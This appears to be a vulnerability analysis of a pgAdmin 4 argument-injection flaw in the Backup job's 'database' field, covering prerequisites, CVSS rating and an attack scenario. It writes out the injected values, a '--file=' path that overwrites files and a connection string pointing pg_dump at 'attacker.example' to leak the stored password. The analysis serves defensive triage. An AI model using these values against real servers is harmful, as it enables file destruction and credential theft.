pgAdmin 4 CVE-2026-86864

Requires an authenticated pgAdmin 4 (before 9.18) account holding the tools_backup permission, which is included in the default 'User' role - so in practice any ordinary pgAdmin user can exploit it. The attacker submits a Backup job (/backup/job/<sid>/object) and controls the 'database' field; a value beginning with a dash (e.g. --file=/absolute/path) triggers the arbitrary-file-write path via pg_dump's getopt_long argument permutation, while a value containing an equals sign (e.g. host=attacker.example port=5432 dbname=x) triggers libpq connection-string expansion, redirecting the utility and leaking the decrypted stored password carried in PGPASSWORD. Limiting factors: exploitation requires valid credentials (PR:L, not unauthenticated) and a pgAdmin version prior to 9.18; the file-write impact is bounded by whatever the pgAdmin OS process account can write to. No user interaction or non-default configuration is needed.

This is a genuine high-priority issue, not an inflated CVSS score. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N with VC:H/VI:H/VA:H, base 8.7) is well-supported: the flaw is remotely reachable over pgAdmin's web interface, requires no user interaction, is trivially reliable (no special timing or race), and needs only the tools_backup permission that ships with the default User role - a very low authentication bar in a typical multi-user pgAdmin deployment. The impact is severe on all three axes because the argument-injection primitive yields both arbitrary file write/overwrite as the pgAdmin OS account (integrity/availability, up to destroying pgAdmin's own config database and, per the description, potential further escalation) AND theft of decrypted stored database credentials plus SSRF via connection-string redirection (confidentiality). No EPSS score, KEV listing, or public POC was provided in the input, so there is no evidence of active exploitation or automated weaponization yet - the risk is driven by the low prerequisites and high impact rather than by observed in-the-wild activity. One nuance to verify: the analysis rests entirely on the vendor description and a single GitHub issue reference; independent NVD enrichment (EPSS, CPE ranges below 9.18) was not supplied.

An attacker who holds any account with the default User role (which grants tools_backup) logs into pgAdmin and issues a Backup job whose 'database' field is crafted as either '--file=/path/to/pgadmin/config.db' to overwrite arbitrary files as the pgAdmin OS account, or 'host=attacker.example port=5432 dbname=x' to redirect pg_dump to an attacker-controlled server. In the second case pgAdmin exports the decrypted stored password in PGPASSWORD, so the redirected connection delivers that credential straight to the attacker's endpoint. No public exploit was identified at time of analysis, but the technique is fully described in the advisory and requires only standard authenticated web access.